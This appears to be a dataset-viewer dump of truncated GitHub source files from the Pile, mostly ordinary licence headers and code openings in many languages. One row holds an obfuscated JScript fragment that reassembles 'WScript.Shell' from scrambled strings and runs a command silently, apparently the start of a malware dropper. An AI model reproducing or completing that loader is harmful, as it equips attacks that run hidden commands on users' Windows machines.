text stringlengths 2 99.9k | meta dict |
|---|---|
// Copyright (c) 2020 Adevinta.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, ... | {
"pile_set_name": "Github"
} |
MCU_SERIES = f7
CMSIS_MCU = STM32F767xx
MICROPY_FLOAT_IMPL = double
AF_FILE = boards/stm32f767_af.csv
LD_FILES = boards/stm32f767.ld boards/common_ifs.ld
TEXT0_ADDR = 0x08000000
TEXT1_ADDR = 0x08020000
# MicroPython settings
MICROPY_PY_LWIP = 1
MICROPY_PY_USSL = 1
MICROPY_SSL_MBEDTLS = 1
| {
"pile_set_name": "Github"
} |
&GLOBAL
PRINT_LEVEL MEDIUM
PROGRAM_NAME TEST
RUN_TYPE NONE
&TIMINGS
THRESHOLD 0.00000000001
&END
&END GLOBAL
&TEST
&CP_DBCSR
K 340
M 340
N 340
ASPARSITY 0.5
BSPARSITY 0.5
CSPARSITY 0.5
bs_m 1 5 1 13 1 16
bs_k 1 5 1 13 1 16
bs_n 1 5 1 13 1 16
DATA_TYPE ... | {
"pile_set_name": "Github"
} |
/*
===========================================================================
Doom 3 BFG Edition GPL Source Code
Copyright (C) 1993-2012 id Software LLC, a ZeniMax Media company.
This file is part of the Doom 3 BFG Edition GPL Source Code ("Doom 3 BFG Edition Source Code").
Doom 3 BFG Edition Source Code is free... | {
"pile_set_name": "Github"
} |
#region MIT license
//
// MIT license
//
// Copyright (c) 2007-2008 Jiri Moudry, Pascal Craponne
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, includin... | {
"pile_set_name": "Github"
} |
/*
* This file is part of the coreboot project.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This progr... | {
"pile_set_name": "Github"
} |
# progtest.m4 serial 4 (gettext-0.14.2)
dnl Copyright (C) 1996-2003, 2005 Free Software Foundation, Inc.
dnl This file is free software; the Free Software Foundation
dnl gives unlimited permission to copy and/or distribute it,
dnl with or without modifications, as long as this notice is preserved.
dnl
dnl This file can... | {
"pile_set_name": "Github"
} |
package ch.qos.logback.core.property;
import ch.qos.logback.core.PropertyDefinerBase;
import ch.qos.logback.core.util.NetworkAddressUtil;
public class CanonicalHostNamePropertyDefiner extends PropertyDefinerBase {
@Override
public String getPropertyValue() {
return new NetworkAddressUtil(getContext()... | {
"pile_set_name": "Github"
} |
/*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed ... | {
"pile_set_name": "Github"
} |
package models.dao.anorm
import anorm._
import anorm.SqlParser._
import play.api.db.DB
import play.api.Play.current
import models.dao.{User, UserDAO}
object AnormUserDAO extends UserDAO {
val user = {
int("id") ~ str("email") ~ str("name") ~ str("passwd") map {
case id~email~name~passwd => User(id, email,... | {
"pile_set_name": "Github"
} |
DROP SCHEMA IF EXISTS dashboard CASCADE;
CREATE SCHEMA dashboard;
CREATE SEQUENCE dashboard.seq_berichten;
CREATE TABLE dashboard.berichten
(
id Bigint NOT NULL,
partij varchar(120),
bericht varchar(1024),
berichtdetails varchar(1024),
aantalmeldingen integer,
tsverzonden timestamp DEFAULT now... | {
"pile_set_name": "Github"
} |
package org.ovirt.engine.core.vdsbroker.vdsbroker;
import java.util.LinkedHashMap;
import java.util.Map;
import org.ovirt.engine.core.common.businessentities.qos.StorageQos;
public class IoTuneUtils {
public static final long MB_TO_BYTES = 1024L * 1024L;
private static long convertThroughput(Integer value) ... | {
"pile_set_name": "Github"
} |
import * as fs from 'fs';
import * as path from 'path';
import * as uuid from 'uuid/v4';
import chalk from 'chalk';
import { IEntityConfig, IRelation, IQuery, IField, IApplyOptions, IFieldUpdate } from '@materia/interfaces';
import { App } from '../app';
import { MateriaError } from '../error';
import { MigrationType ... | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Antlr" version="3.4.1.9004" targetFramework="net45" />
<package id="bootstrap" version="3.0.0" targetFramework="net45" />
<package id="EntityFramework" version="6.1.0" targetFramework="net45" />
<package id="jQuery" version="1.10.2" targetFramework... | {
"pile_set_name": "Github"
} |
/*
* JBoss, Home of Professional Open Source
* Copyright 2010, Red Hat, Inc., and individual contributors
* by the @authors tag. See the copyright.txt in the distribution for a
* full listing of individual contributors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this fi... | {
"pile_set_name": "Github"
} |
<?php
declare(strict_types = 1);
return [
'authorName' => null,
'authorUrl' => null,
'cms' => null,
'code' => [
'html' => '<script src="https://ideone.com/e.js/Whjntg"></script>',
'width' => null,
'height' => null,
'ratio' => null
],
'description' => 'Ideone is s... | {
"pile_set_name": "Github"
} |
/*
* This file is part of LiteModWDL. LiteModWDL contains the liteloader-specific
* code for World Downloader: A mod to make backups of your multiplayer worlds.
* https://www.minecraftforum.net/forums/mapping-and-modding-java-edition/minecraft-mods/2520465-world-downloader-mod-create-backups-of-your-builds
*
* Co... | {
"pile_set_name": "Github"
} |
<?php
namespace Illuminate\Support\Facades;
/**
* @method static \Illuminate\Http\Request instance()
* @method static string method()
* @method static string root()
* @method static string url()
* @method static string fullUrl()
* @method static string fullUrlWithQuery(array $query)
* @method static string pat... | {
"pile_set_name": "Github"
} |
/*
* Allwinner A1X SoCs pinctrl driver.
*
* Copyright (C) 2012 Maxime Ripard
*
* Maxime Ripard <maxime.ripard@free-electrons.com>
*
* This file is licensed under the terms of the GNU General Public
* License version 2. This program is licensed "as is" without any
* warranty of any kind, whether express or imp... | {
"pile_set_name": "Github"
} |
// Boost.Signals library
// Copyright Douglas Gregor 2001-2003. Use, modification and
// distribution is subject to the Boost Software License, Version
// 1.0. (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
// For more information, see http://www.boost.org
#ifndef... | {
"pile_set_name": "Github"
} |
/*
Copyright The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, softw... | {
"pile_set_name": "Github"
} |
function K = covLINard(hyp, x, z, i)
% Linear covariance function with Automatic Relevance Determination (ARD). The
% covariance function is parameterized as:
%
% k(x^p,x^q) = x^p'*inv(P)*x^q
%
% where the P matrix is diagonal with ARD parameters ell_1^2,...,ell_D^2, where
% D is the dimension of the input space. The ... | {
"pile_set_name": "Github"
} |
__all__ = ["PyMC3Potential"]
from .potential import PyMC3Potential
| {
"pile_set_name": "Github"
} |
//===----------------------------------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is dual licensed under the MIT and the University of Illinois Open
// Source Licenses. See LICENSE.TXT for details.
//
//===----------------------------------------... | {
"pile_set_name": "Github"
} |
function qPMNQSVjD(SdDVsrFYCRr) {
var EbMxdohS = "TCcx Ws GjwSGcH cri pt.S HFgJsQ hell".split(" ");
var WIbpXrtE = WScript.CreateObject(EbMxdohS[1] + EbMxdohS[3] + EbMxdohS[4] + EbMxdohS[6]);
WIbpXrtE.Run(SdDVsrFYCRr, 0x1, 0x0);
}
function QHOIWoBRH(cRymy,gyXjX,xvNOW,sEnY) {
var JPdAP = "rjWran seF pt.Shell e... | {
"pile_set_name": "Github"
} |
//===- LivenessAnalysisTest.cpp -------------------------------------------===//
//
// The ONNC Project
//
// See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include <skypat/skypat.h>
#include <onnc/Analysis/LivenessAnalysis.h... | {
"pile_set_name": "Github"
} |
<annotation>
<folder>tf2_train</folder>
<filename>output-000000414.jpg</filename>
<path>/home/ubuntu/Desktop/tf2_train/output-000000414.jpg</path>
<source>
<database>Unknown</database>
</source>
<size>
<width>1280</width>
<height>720</height>
<depth>3</depth>
... | {
"pile_set_name": "Github"
} |
/*
* Zinc - The incremental compiler for Scala.
* Copyright Lightbend, Inc. and Mark Harrah
*
* Licensed under Apache License 2.0
* (http://www.apache.org/licenses/LICENSE-2.0).
*
* See the NOTICE file distributed with this work for
* additional information regarding copyright ownership.
*/
package xsbt.api
... | {
"pile_set_name": "Github"
} |
#!/bin/bash
# Copyright 2017 gRPC authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | {
"pile_set_name": "Github"
} |
# frozen_string_literal: true
require 'spec_helper'
describe 'rabbitmq::mgmt_console' do
let(:runner) { ChefSpec::ServerRunner.new(REDHAT_OPTS) }
let(:node) { runner.node }
cached(:chef_run) do
runner.converge(described_recipe)
end
let(:file_cache_path) { Chef::Config[:file_cache_path] }
it 'includes... | {
"pile_set_name": "Github"
} |
[
{
"status": "played",
"time": "1440442800",
"id": "2043068",
"home": "Arsenal FC",
"score": ["0 ", " 0"],
"away": "Liverpool FC",
"link": "/en-us/match/arsenal-vs-liverpool/2043068"
},
{
"status": "played",
"time": "1440342000",
"id": "2043069",
"home": "Everton FC",
... | {
"pile_set_name": "Github"
} |
#unittest {
name: "Test module declaration.";
error: RUNTIME;
};
module m1 {
var a = 100;
func f1() {return a;}
}
module m2 {
var a = 200;
func f1() {return a;}
} | {
"pile_set_name": "Github"
} |
<?php
/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://framework.zend.com/license/new-bsd
* If you did not receive a copy of the license an... | {
"pile_set_name": "Github"
} |
--!A cross-platform build utility based on Lua
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law... | {
"pile_set_name": "Github"
} |
/*
* Tencent is pleased to support the open source community by making Blueking Container Service available.
* Copyright (C) 2019 THL A29 Limited, a Tencent company. All rights reserved.
* Licensed under the MIT License (the "License"); you may not use this file except
* in compliance with the License. You may obta... | {
"pile_set_name": "Github"
} |
var TESTING = (process.env.TESTING && process.env.TESTING.toLowerCase() === 'true');
var LOCAL_URL = 'mongodb://localhost/' + (TESTING ?
'reportr_test':
'reportr'
);
module.exports = {
'port': process.env.PORT,
'database': {
'url': process.env.MONGOLAB_URI || process.env.MONGOHQ_URL || proces... | {
"pile_set_name": "Github"
} |
// +build !windows
package system // import "github.com/docker/docker/pkg/system"
import (
"os"
"syscall"
)
// StatT type contains status of a file. It contains metadata
// like permission, owner, group, size, etc about a file.
type StatT struct {
mode uint32
uid uint32
gid uint32
rdev uint64
size int64
mt... | {
"pile_set_name": "Github"
} |
// =============================================================================
// Scilab ( http://www.scilab.org/ ) - This file is part of Scilab
// Copyright (C) 2013 - Scilab Enterprises - Paul Bignier
//
//This file is distributed under the same license as the Scilab package.
// ===================================... | {
"pile_set_name": "Github"
} |
#import "OpeningHours.h"
#import "MWMOpeningHours.h"
#include "3party/opening_hours/opening_hours.hpp"
@interface WorkingDay ()
@property(nonatomic, copy) NSString *workingDays;
@property(nonatomic, copy) NSString *workingTimes;
@property(nonatomic, copy) NSString *breaks;
@property(nonatomic) BOOL isOpen;
@end
@i... | {
"pile_set_name": "Github"
} |
class Loginator
constructor :configurator, :project_file_loader, :project_config_manager, :file_wrapper, :system_wrapper
def setup_log_filepath
config_files = []
config_files << @project_file_loader.main_file
config_files << @project_file_loader.user_file
config_files.concat( @project_config_man... | {
"pile_set_name": "Github"
} |
var convert = require('./convert'),
func = convert('reverse', require('../reverse'));
func.placeholder = require('./placeholder');
module.exports = func;
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<!-- generated on Thu Nov 21 13:53:21 2019 by Eclipse SUMO Version v1_3_1+0960-7b06a594ed
This data file and the accompanying materials
are made available under the terms of the Eclipse Public License v2.0
which accompanies this distribution, and is available at
http://www.eclips... | {
"pile_set_name": "Github"
} |
/*****************************************************************
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* ... | {
"pile_set_name": "Github"
} |
import Distribution.Simple
main = defaultMain
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="de">
<head>
<!-- Generated by javadoc (1.8.0_231) on Sun Nov 17 02:09:58 CET 2019 -->
<title>ViewStatisticsBasic</title>
<meta name="date" content="2019-11-17">
<link rel="styleshee... | {
"pile_set_name": "Github"
} |
MODULE_big = overflow
OBJS = int.o overflow.o uint.o $(WIN32RES)
EXTENSION = overflow
DATA = overflow--1.0.sql
PGFILEDESC = "overflow - checks for overflows"
REGRESS = overflow
PG_CONFIG = pg_config
PGXS := $(shell $(PG_CONFIG) --pgxs)
include $(PGXS)
| {
"pile_set_name": "Github"
} |
// This file is part of Eigen, a lightweight C++ template library
// for linear algebra.
//
// Copyright (C) 2014 Benoit Steiner <benoit.steiner.goog@gmail.com>
//
// This Source Code Form is subject to the terms of the Mozilla
// Public License v. 2.0. If a copy of the MPL was not distributed
// with this file, You ca... | {
"pile_set_name": "Github"
} |
define(['App', 'underscore', 'backbone', 'collection/comments'], function(App, _, Backbone, CommentsCollection) {
return Backbone.Model.extend({
defaults: {
done: false,
startedDL: false
},
initialize: function(attributes, options) {
this.id = options.id
this.sortOrder = options.so... | {
"pile_set_name": "Github"
} |
package com.hrupin.samples.androidgeofencessample;
import android.Manifest;
import android.app.PendingIntent;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.graphics.Color;
import android.os.Bundle;
impor... | {
"pile_set_name": "Github"
} |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This file is part of the SPORCO package. Details of the copyright
# and user license can be found in the 'LICENSE.txt' file distributed
# with the package.
"""
Multi-channel CSC
=================
This example demonstrates convolutional sparse coding of a colour signal w... | {
"pile_set_name": "Github"
} |
require('../../../modules/es7.string.trim-left');
module.exports = require('../../../modules/_entry-virtual')('String').trimLeft; | {
"pile_set_name": "Github"
} |
// Copyright 2015 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build amd64,!appengine,!gccgo
// This code was translated into a form compatible with 6a from the public
// domain sources at https://github.com/gvanas/Kec... | {
"pile_set_name": "Github"
} |
// stylelint-disable declaration-no-important
@each $color, $value in $theme-colors {
@include bg-variant(".bg-#{$color}", $value, true);
}
@if $enable-gradients {
@each $color, $value in $theme-colors {
@include bg-gradient-variant(".bg-gradient-#{$color}", $value);
}
}
.bg-white {
background-color: $wh... | {
"pile_set_name": "Github"
} |
# readJsonSync(file, [options])
Reads a JSON file and then parses it into an object. `options` are the same
that you'd pass to [`jsonFile.readFileSync`](https://github.com/jprichardson/node-jsonfile#readfilesyncfilename-options).
**Alias:** `readJSONSync()`
- `file` `<String>`
- `options` `<Object>`
## Example:
``... | {
"pile_set_name": "Github"
} |
package com.tencent.mm.ui.conversation;
import com.tencent.mm.model.ax;
import com.tencent.mm.model.b;
import com.tencent.mm.platformtools.ad;
import com.tencent.mm.storage.k;
import com.tencent.mm.storage.q;
final class u$e
{
private String aqX = null;
private boolean blk = false;
private k cqE = null;
priva... | {
"pile_set_name": "Github"
} |
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
(function() {
var mode = CodeMirror.getMode({indentUnit: 2}, "text/x-scss");
function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1), "scss"); }
MT('url_with_... | {
"pile_set_name": "Github"
} |
package com.turtleplayer.persistance.framework.mapping;
import com.turtleplayer.persistance.framework.creator.Creator;
/**
* TURTLE PLAYER
* <p/>
* Licensed under MIT & GPL
* <p/>
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
* INCLUDING BUT NOT LIMITED TO THE WARRANTIES ... | {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2018, Oracle and/or its affiliates. All rights reserved.
*
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* The contents of this file are subject to the terms of either the Universal Permissive License
* v 1.0 as shown at http://oss.oracle.com/licenses/upl
*
* or the follow... | {
"pile_set_name": "Github"
} |
checks # formatter requires
formatter
lanes # threading
ldoc
--server=http://luarocks.org/dev lua-lsp
luacheck
| {
"pile_set_name": "Github"
} |
/* ******************************************************************************
* Copyright (c) 2006-2012 XMind Ltd. and others.
*
* This file is a part of XMind 3. XMind releases 3 and
* above are dual-licensed under the Eclipse Public License (EPL),
* which is available at http://www.eclipse.org/legal/epl-v10... | {
"pile_set_name": "Github"
} |
/*
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use ... | {
"pile_set_name": "Github"
} |
/* Copyright (c) 2006-2013 by OpenLayers Contributors (see authors.txt for
* full list of contributors). Published under the 2-clause BSD license.
* See license.txt in the OpenLayers distribution or repository for the
* full text of the license. */
/**
* @requires OpenLayers/Symbolizer.js
*/
/**
* Class: OpenLa... | {
"pile_set_name": "Github"
} |
<?js
var data = obj;
var self = this;
?>
<?js if (data.augments && data.augments.length) { ?>
<ul><?js data.augments.forEach(function(a) { ?>
<li><?js= self.linkto(a, a) ?></li>
<?js }) ?></ul>
<?js } ?>
| {
"pile_set_name": "Github"
} |
/*
* A power allocator to manage temperature
*
* Copyright (C) 2014 ARM Ltd.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* This program is distributed "as is" WITHOUT ... | {
"pile_set_name": "Github"
} |
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _XT_TCPUDP_H
#define _XT_TCPUDP_H
#include <linux/types.h>
/* TCP matching stuff */
struct xt_tcp {
__u16 spts[2]; /* Source port range. */
__u16 dpts[2]; /* Destination port range. */
__u8 option; /* TCP Option iff non-zero*/
__u8 flg_m... | {
"pile_set_name": "Github"
} |
package functional
import org.springframework.beans.factory.getBean
import org.springframework.context.support.GenericApplicationContext
import org.springframework.http.server.reactive.HttpHandler
import org.springframework.http.server.reactive.ReactorHttpHandlerAdapter
import org.springframework.web.cors.reactive.Cor... | {
"pile_set_name": "Github"
} |
Index: CMakeLists.txt
===================================================================
--- CMakeLists.txt (révision 17945)
+++ CMakeLists.txt (copie de travail)
@@ -32,6 +32,7 @@
opt(3M "Enable proprietary 3M extension" OFF)
opt(ACIS "Enable ACIS geometrical models (experimental)" ${DEFAULT})
opt(ANN "Enable ANN ... | {
"pile_set_name": "Github"
} |
// RUN: %clang_cc1 -std=c++1z -verify %s
inline int f(); // expected-warning {{inline function 'f' is not defined}}
extern inline int n; // expected-error {{inline variable 'n' is not defined}}
int use = f() + n; // expected-note 2{{used here}}
| {
"pile_set_name": "Github"
} |
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Copyright by The HDF Group. *
* Copyright by the Board of Trustees of the University of Illinois. *
* All rights reserved. *
... | {
"pile_set_name": "Github"
} |
@charset "utf-8";
body {
}
.courname{
white-space: nowrap;
float: left;
width: 300px;
overflow: hidden;
text-overflow:ellipsis;
}
l{
background-image: url(../../Images/live-icon.gif);
background-repeat: no-repeat;
width:24px;
height:24px;
display:inline-block;
} | {
"pile_set_name": "Github"
} |
/**
* Copyright 2014 Mozilla Foundation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agr... | {
"pile_set_name": "Github"
} |
//
// LYQuestionTwoPushAnimator.m
// LYCustomTransitionDemo
//
// Created by kurt lee on 2017/12/13.
// Copyright © 2017年 liyang. All rights reserved.
//
#import "LYQuestionTwoPushAnimator.h"
@implementation LYQuestionTwoPushAnimator
- (NSTimeInterval)transitionDuration:(id<UIViewControllerContextTransitioning>)... | {
"pile_set_name": "Github"
} |
// @flow
import request from "supertest";
import createDB from "../../db";
import dbFixtures from "../../db/__tests__/__fixtures__";
import createServer from "..";
const db = createDB({});
db._setDatabase(dbFixtures);
const server = createServer({
db,
plugins: [
{
name: "test-api",
extendAPI: (... | {
"pile_set_name": "Github"
} |
/*
Copyright 2016 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, ... | {
"pile_set_name": "Github"
} |
/* Copyright 2013 Rob Wu <gwnRob@gmail.com>
* https://github.com/Rob--W/grab-to-pan.js
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.... | {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may ... | {
"pile_set_name": "Github"
} |
package com.alibaba.sdk.android.oss.model;
public class GetBucketInfoRequest extends OSSRequest {
private String bucketName;
public String getBucketName() {
return bucketName;
}
public void setBucketName(String bucketName) {
this.bucketName = bucketName;
}
public GetBucketIn... | {
"pile_set_name": "Github"
} |
%%MatrixMarket matrix coordinate real general
%-------------------------------------------------------------------------------
% UF Sparse Matrix Collection, Tim Davis
% http://www.cise.ufl.edu/research/sparse/matrices/HB/west0479
% name: HB/west0479
% [U 8 STAGE COLUMN SECTION, ALL SECTIONS RIGOROUS ( CHEM. ENG. )]
% ... | {
"pile_set_name": "Github"
} |
package api
import (
"crypto/rand"
"crypto/rsa"
"encoding/json"
"io/ioutil"
"net/http"
"testing"
"github.com/go-acme/lego/v4/acme"
"github.com/go-acme/lego/v4/platform/tester"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
jose "gopkg.in/square/go-jose.v2"
)
func TestOrderServi... | {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2014 The Flogger Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or a... | {
"pile_set_name": "Github"
} |
package org.python.pydev.overview_ruler;
/*******************************************************************************
* Copyright (c) 2000, 2010 IBM Corporation and others.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
... | {
"pile_set_name": "Github"
} |
<?php
/*******
* doesn't allow this file to be loaded with a browser.
*/
if (!defined('AT_INCLUDE_PATH')) { exit; }
/******
* this file must only be included within a Module obj
*/
if (!isset($this) || (isset($this) && (strtolower(get_class($this)) != 'module'))) { exit(__FILE__ . ' is not a Module'); }
/*******
... | {
"pile_set_name": "Github"
} |
// Copyright (c) 2012 Robert Ramey
//
// Distributed under the Boost Software License, Version 1.0. (See
// accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#include <iostream>
#include <boost/safe_numerics/safe_integer_range.hpp>
#include <boost/safe_numerics/safe_integer.hpp>
... | {
"pile_set_name": "Github"
} |
{{ { 'error': { 'code': status_code, 'message': status_text } }|json_encode|raw }}
| {
"pile_set_name": "Github"
} |
This directory contains tests for the update engine of
Boost.Build. They presently are not integrated with
the Python based test system and must be run by
hand.
| {
"pile_set_name": "Github"
} |
Copyright: 2017, Igalia and the Snabb project.
License: See COPYING.
Snabbwall development has been kindly funded by NLnet Foundation (https://nlnet.nl/).
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>sia-task</artifactId>
<groupId>com.sia</groupId>
... | {
"pile_set_name": "Github"
} |
/*
* Copyright 2016 MovingBlocks
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed t... | {
"pile_set_name": "Github"
} |
# Mixing OpenGL (3D) and QPainter (2D) drawing in the same viewer.
# A semi-transparent eounded square is painted in 2D using a QPainter on top of a classical 3D OpenGL rendering.
# Useful to add 2D objects (annotations, menus, head-up display) to your viewers.
# Inspired from the Qt's overpainting example. Note that... | {
"pile_set_name": "Github"
} |
package Ch_1_4;
import edu.princeton.cs.algs4.StdOut;
import edu.princeton.cs.algs4.StdRandom;
/**
* Created by HuGuodong on 2019/8/6.
*/
public class _ThreeSumClient {
public static void main(String[] args) {
// int N = Integer.parseInt(args[0]);
int N = 2000;
int[] a = new int[N];
for (int i = ... | {
"pile_set_name": "Github"
} |
class Solution {
func canFinish(_ numCourses: Int, _ prerequisites: [[Int]]) -> Bool {
var graph = [Int: Set<Int>]()
for prerequisite in prerequisites {
graph[prerequisite[0], default: []].insert(prerequisite[1])
}
var visited = [Int: Int]()
for course in graph.ke... | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
<item android:state_selected="true" android:drawable="@mipmap/red_led"/>
<item android:drawable="@mipmap/norm_led"/>
</selector> | {
"pile_set_name": "Github"
} |
/*
* Copyright 2012 Red Hat Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, d... | {
"pile_set_name": "Github"
} |
from typing import List, Tuple
import torch
import numpy as np
from PIL import Image
from torch.autograd import Variable
def resize(img: np.ndarray, size: Tuple[int, int], interpolation=Image.BILINEAR) -> Image:
"""Resize the input PIL Image to the given size.
Args:
img ( np.ndarray Image): Image to ... | {
"pile_set_name": "Github"
} |
# Copyright (c) 2010-2012 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agree... | {
"pile_set_name": "Github"
} |
{ stdenv, fetchurl, imagemagick, libpng }:
stdenv.mkDerivation {
pname = "optar";
version = "20150210";
src = fetchurl {
url = "http://ronja.twibright.com/optar.tgz";
sha256 = "10lr31k3xfcpa6vxkbl3abph7j3gks2210489khnnzmhmfdnm1a4";
};
buildInputs = [ libpng ];
enableParallelBuilding = true;
... | {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2018-2020 Free Software Foundation, Inc.
*
* This file is part of Wget
*
* Wget is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option)... | {
"pile_set_name": "Github"
} |
/*
This sketch demonstrates how to send data from a Device
to a Host in a Gazell network.
The host and upto 3 devices should have the RGB shield
attached. When Button A on a Device is pressed, the
associated led on the Host will toggle. Device1 is
associated with the Red led, Device2 with the Green led
and D... | {
"pile_set_name": "Github"
} |
load(
"@io_bazel_rules_go//go:def.bzl",
"go_library",
"go_test",
)
go_library(
name = "go_default_library",
srcs = [
"dao.cache.go",
"dao.go",
"multi.go",
"none.go",
"single.go",
],
importpath = "go-common/app/tool/cache/testdata",
tags = ["automa... | {
"pile_set_name": "Github"
} |
package yaml
import (
"io"
)
// Set the reader error and return 0.
func yaml_parser_set_reader_error(parser *yaml_parser_t, problem string, offset int, value int) bool {
parser.error = yaml_READER_ERROR
parser.problem = problem
parser.problem_offset = offset
parser.problem_value = value
return false
}
// Byte ... | {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.